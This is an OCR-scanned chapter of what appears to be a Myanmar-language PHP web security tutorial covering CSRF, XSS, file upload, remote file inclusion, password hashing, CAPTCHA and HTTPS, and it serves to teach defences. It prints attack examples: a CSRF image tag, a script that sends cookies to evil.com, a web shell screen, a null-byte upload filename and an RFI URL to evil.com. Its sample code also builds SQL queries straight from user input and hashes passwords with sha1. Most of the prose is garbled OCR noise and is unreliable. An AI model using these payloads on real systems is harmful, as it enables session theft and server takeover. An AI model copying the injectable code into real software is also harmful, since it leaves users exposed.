o? Hidden Element 02690) o» Website oo 329 090093256:000:&60lo205 = 


<img src="http://example.com/admin/book-del.php?id=1" width="0" height="0"> 


0R|$ 025034, Book Store eo Admin saga Login 0600020200090 Logout @apdqeo0:06 3 Website 
° CA eo c ç ` ° 0.0. cn C o.c o c 

OP BCPA src y og4:000:0? URL oo (62509050) Request dama (89550:699o 

oli RNS: Login oCcoo:oo[eócscoog! 3 Request vas! 09|$600502 Script o» 

co c ` c o Q 9 € ce o. 

seg e qoo (9| adm Request (S965 c9 923900? oo3qjo$c9039o0]i 

e o o Oo O0 CN c e e ere, O CO GC x e c Q o : 

30) Request 209709 (eo5coo2o) (936606306 es006 q09(0:02093 02024 09:(59 c9 opo? Cross-site 

Request Forgery c9esl [sé :(s90lo»ou App nm 320:409:910580229$ 60605 020580309099 05 $c 
c Cx °, ç S O co ere re ç IS 2 n o ç 

[8S:eooc5o 39053(0}9200006806 o205903(s6:(890lo»o5 v slefox¢ səo5:[o|ooqpp:oo 9099/90 

Website G0 030030:83, 625:60090232q|$ 90 Logout eon (91099000: ov(Sjes:se[oX(o(o2 296020 


BoSog§:e0G[sé: [GSvloo05u 


co IN c e * ese ° IN gy c X c 
02209050$09:006:026002 326€:[03:0209004:6020? URL Query 00032209 8e [9[c96609 Form 0209 
oes POST Request sacgé Submit c9588dc02:q92[gdcloraS eLA segrgrahqé Delete 
Request coo$à aña Form 02998 Confirmation o06660»56:ào560lo»oói (8:96 Form eo3(po? 

oc SEN c jl € : c ° ere IN : 
328|$%2 32090499 Molo Unique Token 02690) Generate osf: Form sa03¢:¢0 Hidden 

` IN e IN x° Qn : ^ IN oc ç 
Input g009903C:000:60:4, oleosi 338 Generated Token oo Cookie gow pà: o38:000:c0:qoleoóu 
Request vasos! Server-side Script o» Cookie òm Token š POST Request qgooloécooo? 
Token 026050205«96090680: (6: O29250 8003000368006 go? qeo?c96c$:qp:0? easg g [9|qgo 

c ç c > ° e IN IN ` ` e ç O 
Solos CSRF Attack [9900200633 oo[e3|ooCoooSesooocoo:o> Request 3502099 og|$cox5o2 
> ° oo IN IN o Ç x ç e go> coc NCS IN 
App 8, Generated Token o» 259000299€:000:8. 6050502320205 8505:80000909869o0(890lo»o5u 
> ; CN CN : : o o IN o Sol IN 
2009 3ac84 Token oloco? Form 02098 Server-side Script 020? ceo[oco:coo5o OD05II 
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[ Form ] 
<?php 
$token = md5 (rand(1, 1000) . time()); 
setcookie("csrf", $token); 
?> 


<form action="update.php" method="post"> 





<input type="hidden" name="token" value="<?= $token ?>"> 
</form> 


[ Server-side Script ] 


<?php 

$cookie token = $ COOKIE['csrf']; 

$form token = $ POST['token']; 

if($cookie token != Sform token) exit("Unauthorized Request!"); 
2> 


md5 () Function ooo 0099996:60:0) String o? Hash 09060:0) Function (gSolos05 Hash sae[oxé: 
° IN c IN c IN o CN oc o : c o 
MEON e(p2»sc s0030003603(G0le051 Form o? Load c96023e3|$0? Random String 02690) md5 () 
à Hash c9óc9o3(8: qcooo> Token o? Cookie cboocoo5:o38:oloooSi Form eocopó: Hidden Input à 
IN ;| IN : Se O * e.c Qs € o oe 
œp: olod Server-side oo Request vay! 8500 (0$00009:0% Request o? 3 Form 
o»es[ocoóe 200 csəoc [eCoo[eóoloooi [e29:cboosəoocoOcoo: oy CSRF Request oo Form Request 6 
coce : ceo IN coc < jl ° ç O ç ç. [° 
coóae[6: Cookie ooš$@:S5o5@o5&Ceo vuol: [Š:cooo Token o» Random (6508 ogos: [co 
IN > ç e oc e Oo oe € € o 
cops: Request Ò copjagc:eu:&C@o oNN CSRF Attack QP: 3§ 20:02 000020560:992:$6 90 
c < 
dolos 


15.3 - Cross-site Scripting - XSS 

SQL Injection o» Input Data 009 Query Command coo 009306:(8:030530303 §25:006:0069[80 

olosi XSS meon Input Data cogo JavaScript @020005096:(8: REES: [eolon oo: [so:ajo5 

< Q O CÇ S C on 5:09 š ° € ` ç € < 

00 OHR: mp 32&«p05eqO 323 JavaScript coge HTML Document òg (coco 

803 s28|$9 App Reap aoo»: [p|opo9ol 39oəoco:ooo[eóoloooŠi goeo - oq|$šoeoosoo2 App 9o epa o3 
€ ç 0 ^ c ç o 39 ç c € Q 

Comment cop209c: 09909 Comment Form 026960:000:60588018.1 32980500005 Comment co:co 

< x ° x e Q x° 
opo? eq:q|60202e«:[8:60220 Comment GO:@oolli Attack coOcooooocooo 323 Comment Box y 
JavaScript 603203 329 090009256:290:86 olor 


<script>document.location='"http://evil.com/bad.php?cookies='+document.cookie</script> 


Server-side Script oo slo? Database ò> Comment 3969 &00p9296:000:[8: ao (82:329: [9|ogqp:0? 
codo 803a00 JavaScript Code 326$432c90c90292:909! seop:i(o|opqp:$, Cookie 02§8:60260208 


Attacker [Byooé Gq:090:000:03 Website 0860:8090:60¢92(960l00051 Cookie œ> Personal 
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Information cogolocgc oloooSi Session Token eon 0loé8éol 


0005956:000:05 Token cor vloé8évlos0Si1 
229362000207 og t 


on CSRF Request 6020202009098 


sloréearvlop: JavaScript 8 Document colo» Element cooo Amaral Website à, eco 

° X c oO x > ° IN oc ç ° e. 
Content o» e(9eo»20 Attacker ceo|ococoo Content qp:& 3200:c9:609[0990:&60lo»oóu 3809:4 
XSS o? Website Defacement 3902030095: 93:0005(a30leo0:00051 Deface 8020 Website 02990206 
(0299 aooaa] eco Website 329: "Hacked by Blablalba" demo ao([g0:320»0: 05 695 (9qjo9qp: oo 
3202:09: co(osgco(ac: [ešoloooŠi 


308 Attack $j:0202202058320209 User Input qp:o? Filter cpde0:8c8a008 338 Input qp:o? (050 
ecoeo[osCoocoo5: Escape 07660: Gol t səc[eŠsoəo: [os XSS Script cogu» Input à320? HTML 
Element qp:3oe5à olo&coo(se:(s$0lo»o5u «script» Element qp:&oloécooo0co ao(go: Element 
«p:à Attribute (Inline Script) 3268 & copo: olo$coo&éolo»oài slefoxg User Input mes HTML 
Element 60203 6030909c909e0989«6 32096:200000060908 0000909$6e0go[s$0loooà: PHP oo 
Element Tag 60203005 05058320205 strip tags() Function o? aeos: [olos 





Sinput = "«script»alert('Evil Message')</script>"; 
$filtered input = strip tags( Sinput ); # => alert('Evil Message') 





strip tags() Function oo Input String 9o oloé6cooo? Tag GO3320: 09109 co5op0$c903e»[690] 
coo ordslord4 cosəÓa|o5səe) 3905;(0}990095096:60:00003 Element 0205 coo$88c93000005 38 
IN IN ç IN c ` > eC 0.0 > ç (e c o 
coa: [ma eo3[posesleo Element səcsšeceo[oo $:$:9235es& efi: f: cofosod 
htmlspecialchars() Function o? aeos: [b &coloooSi HTML Special Character cooo Entitles 
qp:&3000:09:60:990:09 Element 36$$32096605060020 Q:Q:00 səesàoceo[ooəo:eoeo[8ócloooSi 


Sinput = "<b>Hello World</b>"; 
$output = htmlspecialchars( $input ); + => &lt;b&gt;Hello Worldélt;/bégt; 


2 < < ` ° C20 0 c < j| < x° oc 
3905;(0}990099096: 60:03 Element eogo? coo$$Qc93200000I al [oc 393 Element gp:seopc: 

ç € c o ç O € < <ç ^ o c enc ° ^ s 
Lans eenn eon səcooosəeqpoSep:o> asg Sono] PHP à, Build-In 

iN < iN ` 2 < ` ° 2 ç 9.0 < 
coOesoocajooqo: šecàcecooo5eoooolog: t Third-Party PHP Library cooob:qoleoooeoŠii 30509320205 
32006 gp: a): Library 0299006009 HTML Purifier (gSolos05 HTML Purifier o» Element à 
Attribute Whitelist ooëəcoo:[Š: 09035990? Element qp:à Attribute q: eoS(pec(o(s6:0? 
csmegaco: ¿colon 


Link: http://htmlpurifier.org/ 
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8cox HTML Purifier o2o»:(8: soos: (o|opo? HTML Element qp: oop?8 (o $s ogo:eogo[s$0lo»o5u 
oop?o96:00o:0? Element cóeooloócooo? sa&spo5Q$$60) Element à Attribute qp:o9e0o? HTML 
Purifier oo 605090360:290:o[5$0lo»o3i htmlpurifier.org eo Source Code o? Download asof: 


09|$602309 PHP Script dy mac 2923:32: [o 8ColoooSi 


include ('HTMLPurifier.auto.php'); 


(contig ¡AMP uri Contig: re atenetamile (0) 
Spurifier = new HTMLPurifier ($config); 
$clean html = Spurifier->purify ($dirty_ html); 


ocoeso: HTML Purifier Instant 02690295e80009q0]os051 (8:60229 Input String o? Filter ao) 
sasleo [g6[go1 Output o Escape cpdc$o3aael 338 Object ooesooésoÇç purify() Method o? 
3905;(G}¢0:q 920 


15.4 - File Upload 
File Upload vv: 32622323p6096s0:0 mAs qi saG075e002(08:69:03(Ga20g008 co:éco la] 
MOX AES c Ps ç o... MES less El ç Q : 
1:322: $09: g | (gd030:860 onu! (0810266q:220:000:0) Code ceopoloco? File coəooo5o File 
Upload oo c20388«6 338 Code cogo» Server gogezo? File cogo) c920c998292:eo$6eo(890lo»oóu 
File eogcógo Database Setting 6020095: 09809: e0002: 002: 928 Database oda 32q[0932co03602 
IN ° (s 1 ° e oc o o IN oo € 
cop5:eco[š|eooo olog:i System Command eog copo: Run ĝe: Server o» sacorxec0:00905 
030:608603 map $jesoloooóu 


° g ` O x ç o ç oC < Q < 
(0910266q:220:002:0? Code s0o9esspeocopo: Attacker MLE es:esoqoecQoloo: I 3290€ 
[3,006 690903000209 Shell Script cozgegolonosn 
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Free 11.57 GB of 226.43 GB (5.11%) 
' 


"P 
GA 
A E ud e 4 @ E Encoder Bind Proc. FTP brute Sec. SQL PHP-code Feedback Self remove Logout 


Server security information: 
Software: Linux, 
Safe-Mode: 
Open base dir: 


Get /etc/passwd 


:: Command execute :: 


Enter: Select: 


es 1: — | cnn - IE 


z: Search :: :: Upload :: 


© rex E O EB 


:: Make Dir :: :: Make File :: 


/opt/lampp/htdocs/test/ /opt/lampp/htdocs/test/ 


:: Go Dir :: : Go File :: 


9 (95-9) A PHP Shell 





© (09-8) eo Shell Script 029909 fg peA: osn File 0209028: System Command cog 
Run 8603 coóesooCcajo5eogi PHP Code eog Run &Coycoóesoocajo5cogi File cogo) Browse, Edit, 
coc * c < IN y o < cere OC x EN e < 
Download coóšcoo apoesoscajase03§ Database gjose003(8: SQL coo Run 60:§¢03 apdesoncagjns 
G0 03@095: 6q000:000: 090011 $08 File 0209220 0R|$ 600302 Server eol'eqoo$o9o:3 6 3 File meg 
c < ` c #* +. < oe» oc c SN 
oo@soç Attacker 326$& Server 006909:03 cocoa) 96292:60& 69 [soul 


x anc File Upload 60303 [03 (036 (039605 eno: Eolo Web Server 60299 mu File cop 
Res Script 2634 safa qed ogo File Extension ¿2[92:0005905000:00l00031 posa 
- php soq PHP Script 32653 3209609660: qoos spl 38.6 Perl Script 39654 səcoOcoOco:geoŠ o 
es ooo5oloooŠi aleja scada: (ee Bn :2200) File 20303 Upload ue es 
esc Extension &o$ecogolo»o5u sleoeoS Attack eoan pagent $99: sedi] [o :(8: 


0$680:9[096020?603p(5058 (9| :90: [0390 200 009905807 §290:03 .php4 o? .php3 RS File 
Extension cogeo: |ô: Shell Script 60203006 ago: ¿colon (8:602 .pHp |ô: eoco:əo [o2: 39600: 


° ° ° c ° ç c oc ç . ` C_o € ç re 

3aq|: el: :espeo:(8: — n eoqp(so3222:$60lo»o5i File Name À 6520289:00 Space 029900p9[8: 
ç . ç ç fo c coc ç 

egos 803): ON: 2860] ooodi Extension ego Null Character p$: [8:08:08 losn poe - 

shell.php$00.jpg ooo: ipsus ena: .jpg (S$e$c9 osca: ao soba: ê: 

ec o ° 


File System 3294 0060005996: 360929 Null Character 68009000009: 6020960309 noo 508 
shell.php jo [ešoəo:eooli 
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° o IN IN ° 0 c > c Q Sos . e € IN IN 
Sc9cpp900:4 o9:3eq]:d]:(8969 02320205 @09000:3200) File eop Upload cpoggeqesacc 326029600: 
(0396058 o$8c9o0looo3i ac(o¡e09 File 39Q/:3209:008]6: Whitelist cogo: loos File Name š 
Extension coooooloCcooo Special Character coz Unicode Character 60202 3209$6030003(8:09 
IN : Sox ° ç IN IN : : ° IN Dege CA 
@80:90]e051 File Name go0loéo3 0005269 00§9005q01605II File Size M: coo$8&Cecooo?02 
Ç ° c o ° ç IN So IN : : ° C (° ° 
so [eÇ s0:oeocpooóəco 202002: 9: mgoa golos Zip File cogos Â: Uncompress oo 
Script š Server eolo Gaon goSe0sadq6 Zip File o5go cloéeoS File 0205 0209qJ6:0000 09630: 
€ IN coc ce cre So IN IN 
qoos ofeg 0203 §600600005806(8: 9220 coo$éqeo(s$olo»o5i 


15.5 - Remote File Inclusion - RFI 
Shell Script cooo Upload asgevolg: File Include səo:ep5:a|o5qpp:ooescooŠ: cop?996: 


` 


səoà: [o| opo:8Coleos:oooSI Qoeo - OR|$ 600302 Script coo 329096q:220:3293:(9|qj05 I|: olo63eo5s9 





dg - 
«?php 
Spage = $ GET['view']; 
include ($page . ".php"); 
De 


q95903000006002 URL Query $o eo(9qeo? Script File Name o? 39908.0009026:3905:(0)80l = 
http://example.com/page.php?view=home 

slo? Attack aaO - 
http://example.com/page.php?view=http://evil.com/shell 


- QoS: oS səcoOcoOogoo:o> Code oo - 


include ( "http://evil.com/shell.php" ); 


(89550:c9 agj$eoo302 Server eol go Shell Script o? Run 26 qo9o:03o»eooo[89es losn php.ini 





9» allow_url_fopen à allow url include 0209003000: (8: S[9amgoromagdicolo 
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15.6 - Storing Password 

0R|$ 602503 Web App 9o User Registration co0$86002e05s9q6 09200206 [8H000029 Password BQ 
oli aeos: (o opeogooo səqp:səo: (se Password 029909 Website &9909:9320900 o5:o»o9[o30lo» o5 
SQL Injection à (s9(s9: 22(82:09:056:09993(s9(59 Database q2236:s0p9:000:02 2293005 
qp:o? Attacker oo q$9o92:o? səs] Password 6020095: olocoəo:əo[eëoloooSi 8cox səob:[O|esoocoo 
o5:6402 afs: Website ap:eool a903 a, Account 602 eco[š|eoooo>oseooo[8é coooloooŠi say (ojo? 
602320503 soCgo:s0:0:e0sos]ocoo HR ons 


slefox¢ Password 0205 enc: Plain Text 39090:030:3099:000:[96:09 elo 3000 c olor: 1 Hash 096 
° o <ç < € c ç Oo x` ç c € ° 
(8:g000 o96:s003:00€0lo» ou Hash c960»05s90268p9ocopó: One Way Hash (910995 93:qp:02220 
2 < 1 € ° | ç q ^ o < ç c.g oc 

3905;(G|006 oloo 3960/0500 Hash a90009:03 Password o» eec: Password (o$e(926:c9 VQCO 
` y € ç C O oc oc ç ç c Q ç ç anQ 
oc>oscooo[eóoloooŠi ago 030503Ec095:[G§e[QoE:cBeqolog:n Attacker copd:e[Go6:cQeqolop: v 

° e o < `a E c ç ooc < 
səc[8ésəo:[eç Password o9 9«6:60:000:2502c3q6 ooó[eo:oooSooooe eico: App glod 
o» Data 60203866803 Admin conce e29&660090lop: i 


90890300: Sç Registration Form meş aeos: (oopoo A Name, Email à Password NR (803256: 

o < e o o ç ç 0 - ° IN < ° oc CLAN Q 
de ooo5so[o3ol@i gfe Script oo S3əa|jošsəcoošeooo2 Database eo o98:soo5:o>səs] 3290 
086: 2095:60: Q920] - 


Sname = $ POST['name']; 
$email = $ POST['email']; 
$password = shal( $ POST['password'] ); 





Sconn->query( "INSERT INTO users (name. email, password) 
VALUES ('Sname', 'Semail', 'Spassword')" ); 





Password o? shal () Function 4 Hash 090000: 0 los i 


ga ú ú shal () oo CSRF Token š@šo@o 0):303 mas () aò Hash Function [sëécloooŠi 220500900 
Algorithm con eoo[o2oloq: i Sesqogo shal() eop:Ó md5() o9: Ema: shal() Algorithm o° 
md5 () coo səəp5:coŠ 960006:02320205 shal () B95:000;(86:[8dclos051 oo9[so: Hash Algorithm @ogcops: 


o ç 
goleo»: 00051 


shal() Function oo e0:c9090) String o? @oco:Gg) (c0) qo? Encrypted String sos e(9»6:60:99»: 
c IN IN IN IN IN IN IN < o Oo ` ç Oo 

qo [ešoloooŠi eoc[|o2oC:oooSecooosqo5qoŠi DOSGONIAIOPOP! 320090900509Gq:000:000: shal () 

026022 9209:6$ (g0) oloéod Hash 20900? elgoc:50:039:90011 goeo - 
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shal("The quick brown fox jumps over the lazy dog"); 320909 qco$00 - 
2£d4elc67a2d28fced849eelbb76e7391b93eb12 

- [sšəo[ešoloooSi 

shal(""); 320905 cosa = 


da39a3ee5e6b4b0d3255bfef95601890afd80709 


- Qı Soo TT T ora, ore[ax26:059p59q2503 shal Hash aÊ: eon qao @oco: (ço) TEIN 
303800 $9809» Blank String 029909 shal Hash ÍCONOS: qao 9209: (g0) o[eóoloooši 


$505:& Hash cpdco0:03 Password o? Database 0590998:s0p9:c90390 (srl 
G500906: $o Login ocCo3s»eli 9260:0? Login Information 9§09§ 


Semail = $ POST['email']; 
Spassword = shal( $ POST['password'] ); 





Sresult = $conn->query( "SELECT * FROM users 
WHERE email='Semail' AND password='Spassword'" ); 




















286:000:03 Hash §030588606e00:9908 Login Form Qo aoo»: (9|opeo:cooo? Password o? shal () 
à 2996 Hash coó[6:e o209s96096s0: q(86: [eŠoloooŠi $505:8 2X: opqp:8, Password o? 98c5(8| 


IN ç ç O € oc ;| IN 
esc JEON App oo 022020560: ¿colono 


ç o € ° [z eo c ^ o o 
32946002 o9Ócooocoo5:eco[š|jcocos:olog:" Attacker cozo 30) Hash coocoo:oo Password coa 
03 aval pesó: Password o2o98esəoc[oš$eceoacolog:i sleoeo? (89$6e(890200c: Combination 
colé: 90§: 6000 gjloéo31 Password 60303 [2o28 Hash coÓcoo:o Rainbow Table eal 95:0p00 

° ç 9.0 ° < c ^ * ^ o O Ç OC C < 
cop losu 309 [ooo Hash coocoo:oo Password qp:3 scoo:oo Hash o? o203«96096so:(s6: 
30: [96 Qœ Password o? [Lf oS pegs 90§:60006 ajo Record cooo AR|$S0r503.09602 

oc ço qc ç ç ç 5] coc c. Sapen 

0?602050802c0e09 Computer 32050260»232c905600:0lI! 0092&06:3209€: (eoco:qrpo:qpp:o (8: Strong 
ç x ° Ç O coc < o ç < Q Q Ç oy ç ° [z 

(603 Password GA 8g08€:=0026:) gqpegeo:8Coloooi slef Hash qS ws: ela] 

eoo:olop:u 

8(G000g003e(89E:805:[a302000 Password Salt (s$0looo3« Password o? $026:600o:0 s00:003(8:9 


Hash coó[ec:[ešoloooši eoocoooo Register Form 899002 səəco[oCsoceo:qoleoŠ - 
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Sname = $ POST['name']; 
Semail = $ POST['email']; 





Ssalt = shal( time() . rand(1, 1000) ); 
Spassword = shal( $salt . $ POST['password'] ); 





Sconn->query( "INSERT INTO users (name. email, password, salt) 
VALUES ('$name', 'Semail', 'Spassword', '$salt')" ); 





309639: Random Number 026903 $salt seg shal o5:(8:60090 Hash coócpo$0loooi 900003 
qué o? Qe: Password šeolé: [Š: coooe Hash coócoos[ec:[eëoloooši oo: [so:a|o5səoes š Salt o? 
cops: Database o5oo 0093036: c00:02008 [Sel Salt oo Random 8 S$c900p9296:000:9220 
Login oco) səə] $ Salt hL: |ô: Login Information 9§09§08 Roode: Roli 


308. Salt o2olcoobo399:coo:o>əəogoo Attacker oo Data go5səə] Salt olgoə2o:eo[8óc9 32950090005 

ore ° [> ` ° IN o c ç IN ç O coc ` c e 

eso Q(8: Ez: ee:eso$cooolo»oàw (03|:90:08:9o:(0$605e05s9 ceSšCoesso[sócoeoo 

e005e053e0»? aVV coyjapoosoooóeoocoxo User Account seqp:[o3:09 0o0$4|$oops: 

cro ç IN : ~ O C/O co e Oo IN c ç Oo c 

oo9[9|6 0099: Rainbow Table š o209(8:6038 o»03c99ecg0360090log: t User 05266052050? Salt mo 
Qj:$0268 0932020 (890lo»o5u 


c Cos | 


slefaxg Password ap:o98:soo5:o>səs Hash auden Salt vloopseo:8 0$.90{gdclos051 


15.7 - Anti-Bot System 

Spam Bot coU pS: 0009996:09:00:$902 (922240029 0i 09|$ 600302 App à, User Registration 
04602 Bot cogo: |ô: 3960008: 3902602 saqjo:[03: 0095 es0005 930: ¿colon Comment 0909) 
e(o33(£o Spam eog amooo: ¿colo i $ Bot cogu Automate Script coges osc2coosac 
DICEN aR|§ 60750300 Soeg gso: 0NNA:N ec$on:200) Bot cogenmécezod 000 
ogoŠcoo:8c9 olo»ou 


8(G000g203e(99E:8300205 CAPTCHA cooo ea Aolo CAPTCHA $0 Website cozs, Form 
60290 OMANE AÀ Dooe: e: ooSqacso3 Image coo [eëcloooSi Image eocol eso? 
° ce, e IN coc IN c ç Oo IN ` ç O u c c ç e 
oo 03003[8: gfe esie 64003009s0609222:86(9|020 4909s oro $05g03o«p(69e0e02 3 
Image cogo Bot ¿90 3[8»:60:860lo»o3i səc[gósəo:[8Ç Bot o» Image eoolo?e20?eco9&60lop: v 
meo co5&60lo»o3i Ea s20330031602709§ lop: 11 odd], Bot cogo Image galoo eco 
¿coloocón cooocoso dA, Image golod mega 230g03c9$:c9 smog: olor ma, 
Mo: CAPTCHA com Sec0005 snmengodeo: coma: 07905038, say: yamicomadar 
ç jl IN ^ co oc o ° co ON «^9. ` 
covg[mol cnn ooooc[ooc[oo magsrggaócon Bot sogo2oooogo5@ CAPTCHA 090 322:0:e$ Ò 
c € 
(S90lo»o5u 
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Google oo 325960:000:02 reCAPTCHA ¿$07 Web Service ooóəgoloooŠi 0296409 so[038c0l6: 254: 
(Qo)ecoooŠ Image qp:ec3(060:6$ 60000563006 CQO?:qp:0? Service 0069[gd0lo051 reCAPTCHA 
4, esoo6 9300 "Stop Spam, Read Books." [ešoloooŠi reCAPTCHA Image cogo 90c9:&9 05:0) af 
olea ƏoloooSi Digital ogdee[G2E:9600:03 903966020500 0205260303 egoon 





° ç coc ° ° Ç e w coc x ° QC o ° x` 
OCR Program cm s her to (8: 050: 0009:02009:& SEMÁCO? pais 02909: o? KF 260: 


(ac: [só olor i səo>:[o|oooo 050): :9$e3206 cop? 86 q6 qon 3leoeo? 500): oc»: copos 


OCR 20891 esadg$cco: 209000): : RE: glS esco: spespo5oy>oocooo[eóoloooŠ!i 
E agas 


3 Service o? J$ 602502 App 92 cop9o96:3295:(0|8300205 google.com/recaptcha qo Sign Up 0908] 
oleoSi Sign Up coócoo58é 80) Public Key, Private Key à 320):(0/95:006:09$qp:0 QAPAS 
oco 


oloooów oop$o96:seop:[o|&68 reCAPTCHA PHP API o? saqésd: Download so»8c9olo»ou 
Download Qll: CAPTCHA coo[ococoo Form Page $o 39908 62900: copS026:60: 4,00] - 


<?php 

include ('recaptchalib.php'); 

Spublickey = "lorem123ipsum456dolar987sit112amat333"; 
2> 


<form action="register.php" method="post"> 


<?= recaptcha get_html ($publickey); 
<input type="submit" value="Register"> 
</form> 


$publickey 320200 Sign Up dao Public Key 329509 0099996:60: Qf dolos 
° € 


CAPTCHA Image coo[ococooyes «peo recaptcha get html () Function o? G$:020:60:090509 
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M 


Ó [ešolooošii səoà:[o|oo 0009996:60:02 CAPTCHA Value 94694026009 Server-side oo 32909 
06690:60:8Elos051 


<?php 
include ('recaptchalib.php'); 
Sprivatekey = "3ipsum45lorem12112amat3336dolar987sit"; 


$resp = recaptcha check answer ($privatekey, 
$ SERVER["REMOTE ADDR"], 
$ POST["recaptcha challenge field"], 
$ POST["recaptcha response field"]); 




















if (!$resp-»is valid) { 
// CAPTCHA was entered incorrectly 
die ("The reCAPTCHA wasn't entered correctly. Go back and try it again." . 
"(reCAPTCHA said: "w 2-SEesp-oerror a T); 
} else { 
// Successful verification 


} 


Le 


. IN : L ° x . e S È IN IN 
Sprivatekey 3250900 Sign UpoóopooqQo? Private Key 3295$00p9996:60: qeo(s90lo»ou 
is valid š 9$6s0:000:0)e$ «peo Value e$«6esooógo?qeo? scs: ee$e6osooógo?qe0? 


asc: 4p:02000: co:qe»(s$olo»o5u 


$§ 05:8 Form cooo Bot cogo» Automate Script cog Spam coəocoocopo[eC:ooes 39090 :390000009 
cÓ oooogoSaCeooo[eóoloooSi madak $505:0poooo» Third-party $95:0902(g608 
a: [lé 39090090000 224/$9308| c[ooC:cŠos&ColoooŠi reCAPTCHA PHP API səo:[o|ó 
39600380303 320050] Link qo eqan golosi 


Link: https://developers.google.com/recaptcha/docs/php 


15.8 - Secure HTTP - HTTPS 

0268690390 3260008093295: [p|o20098:8, Network Traffic o? (030:(60506:09 (0209909902 § 2520999 
O O ° ç e M ° CO ` e ç ç coc 

aqe QesoloooŠi Network 02090090 $652900 Software 0»98|:4 eƏ:oo[o9o3qooocooS: (eS8éol 
e Dn IN ES e coc e IN e 

on Wifi Router Meg oå: 09[0395go2200095: (s68Eolos05n Proxy Server Meg 08:09 (mago 
e coc e o. o coc ç c c o ° ° ` . 

cop: (S8éolosa5u Seq: «lr: (s68Eolos05n $800 App o? aoos:(9]e$ 254 Network Traffic eoo 

° ` e ç ç ox co. c ç ec O ` ° . 

o [Pzd 08:096006[mpe630> geemags feod App š 2000 :(o|o? Client afo: 
c c M ° x° oo c ç 

ao (0432094 292:c006$ 0? Request, Respond ccoo a33c900o3Qeseo[s$0looo5u Request/Respond 

6020560 Password coocoe5: olocàcoloooŠ!i Session/Cookie Data Cog: ologgécoloo ón Credit 

Card No. coga: oloces&coloooŠi ao(go: Private Information Cog: oloCes&ColoooŠ! 

8[oosxsoo2 e(sq6:8320505 HTTPS 8$p9:0poogoloooóu HTTP Secure $320260000932cs| [590) 

HTTPS o» HTTP o? SSL/TLS Protocol š 09(8;eq:30830S6028 col6:00320):[0/[ac:[9óulorasn 


Professional Web Developer - səəŠ: (99) Web App Security Gpo 





QC ° 


Secure Socket Layer (SSL) 8.03 95:090000 oəšq||ooocoo 02603:§00605: 8003250302329] 
c IN o c c IN > . € eo c € IN 
328|023200026090? 90300086 e(r€: 60:03 (Encryption) § 2920990020 G]: [eó losn səoooŠe] 
So IN e SEN e PE IN e Ox O ç Oo IN Soc x o € IN 
0200029060520200 (022:[80368: 053 $6 GON ena A CO FAMN Key vagas QQ: 
c e +2 ooc 1 š : ° 
328[0332c00260900 In WVAN o: Transport Layer Security (TLS) meon SSL o» 
səsoç [eÇ 2:0) 09320:60206:02 905020$6(86 oloooŠu HTTPS meo 238 SSL/TLS 905000g603 
HTTP à colé:0Se0:03 §95:0902[gd0loo05 aq: meon co:Oeso> Request/ Respond copo? 
c ` IN c Qo Os ce o c o 
Encrypt 096e0:03§05:0900[(6603 Request cogeo: Oops] Encrypt ase: geo: gpu Respond 
cog pS: Encrypt coó[0:eco:Oooolii 


slefox¢ 3096400996: Google, Twitter s20§03 Website 602022 ooo2qošesooCocogoo HTTPS š 
ooo a:o [gjooo:(sé:[e90loooów asa, Website soəoocooo 99200§ c?66s0264J0260232020? 
HTTP o? a:o: Login 0303 vegek: 0303603 eas gga HTTPS o? 
ob: [molan səo5:[o|ooqp:socsš Website o» Support coógé HTTPS 02000 eg: qjo93o25: [9| 00601 
om 


0R|$ 02503 Web App o? HTTPS &32c99c9060c9q6 VeriSign, Thawte 32090) Service Provider 
qp:cómes SSL Certificate gp:0csar8cBolos05 i (8:6 Web Server ço SSL Module qp:cop$256: 
(8: Setting c9660:« eo[eóoloooSi StartSSL 0399 səsëošesooCgceo:o> odg], Provider eo2cop9:Qol 
00051 Setting (31099902602 Provider à Web Server eol eoopX(8: o9: 2g: qoolu 


HTTPS Setting [ico (86:005 q03609:02050c$4:090099 (59(8: Server Management à Encryption 

o < COGC * Q Ç c < € < coc ' ° x IN 

60529008229 esooé go$&60? c99c$:0»$e[s60lo»o3i sleoeo? 3596920396: Let's Encrypt 902805: 

c < € x° € ° co oc. ey c 

09200009 eoleolo$cooolo»oóu 393§p5:0p0007 Command oo$qj, Run Gods HTTPS Setup [ioo 

(S6: coOcó:02 səcosəccojpoo e006 90360: 86000051 slefaxg 3909:09/8:0C09 (958 208d səc[eŠ 
coc ;| 


VUA: vsa Let's Encrypt 32093209 HTTPS Setup asgo on eaol ong 
8003000? eagan: 00o 


https://letsencrypt.org/ 
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Conclusion 

ojeg: fooni 32609 $qp:o? 39[82:320:$09:8J02602 q9le22:02o5u Qoeo - aeaa: 

Password Protect asosl 0294] c996s026qjo9e020? ce(6: Protect 20968 ood]: [eooo 

poe - Book Admin 86:08 Protect 090009:6000) Order Admin oo 8005900030009 Auth- 

entication Check coÓesoocajoo 09303678 6g030:0204]]: (890»050loo»o3i Attack c9do$o960203 308 

< o o € )| Si ^ š co o c co 9.9 oc. o o ç c 

000 09026020? CHAIGESHQDOIII 06:000:02 File ooëaj| oo (§qosgeo(8: 33209€:000:8000q|: copo: (gs 
iN jl € ` o “< O . ` ` c 

02020!620:000ÀI pos - Setting 3oo[8326$29q6 c9 phpinfo () Function Run o0o:o? Test Page ooó 

o c o S r° < ç ç o co o c < | € Q o ` 

909 09:00 06:(8: 6005 (9$«0$c905869230:02oq]: (8902050 ocn Attack coocooooo File 

Name ada: 0205 qo? Access 0969393 ooo]: cop3: (86 020301e20:02 051 20% - Index Wrapper 

y € < ç ° € € ç < ^ - ° : ° 

Š copsog6:605(Ge0:8 gpogosorpdes0003000:0)3 View Template o» Attacker o» Location 32093207] 

Q ^ < x° ° ° € ç (e EN ç Oo c < 

Wa: oa URL yo 393 Template QPR copsop6:(8: Access coóopo: [e G: jj: [eŠoloooSi 


8[0oosxsocoooocooo SBS helo é: qolooošcosəo2səoq]c[oocoes)eosgo ego: apeo QO225092: 0) 
[9ososoqp: [ešoloooSi səc[8Šsəoq|sp:co [Š eo: "Input 390209:08 Filter osoli Output 
39:09:09 Escape coóol" co 9059003000: 60loo 03i ooep5:səo: [96 User Data cooo 0003600996 
09c20:0 000308838 coóóeo6so:Ó eo5[peo:c909(86:02 e[bicoo8o[eeoloooSi (asa: (992540602 
026002 $086 (3.020526 05: dl $90:905:3p5:000 (sd 900% có[Šles@sQooo c0236025805 
olo»oóu 3(p20:65 (seo: Raga 3201809:002005030 App o? $6092» Admin 4, gL: Qef 
Attacker eo9co Admin Right g ogox(8:6002cop3: (9922sosp&60lea2:0»o5u o003$e00o6 963206 
(03]:00:(8: səcoo $6 8D: có|ŠlescssoCesooc gso: (024929 (590lo»ou 
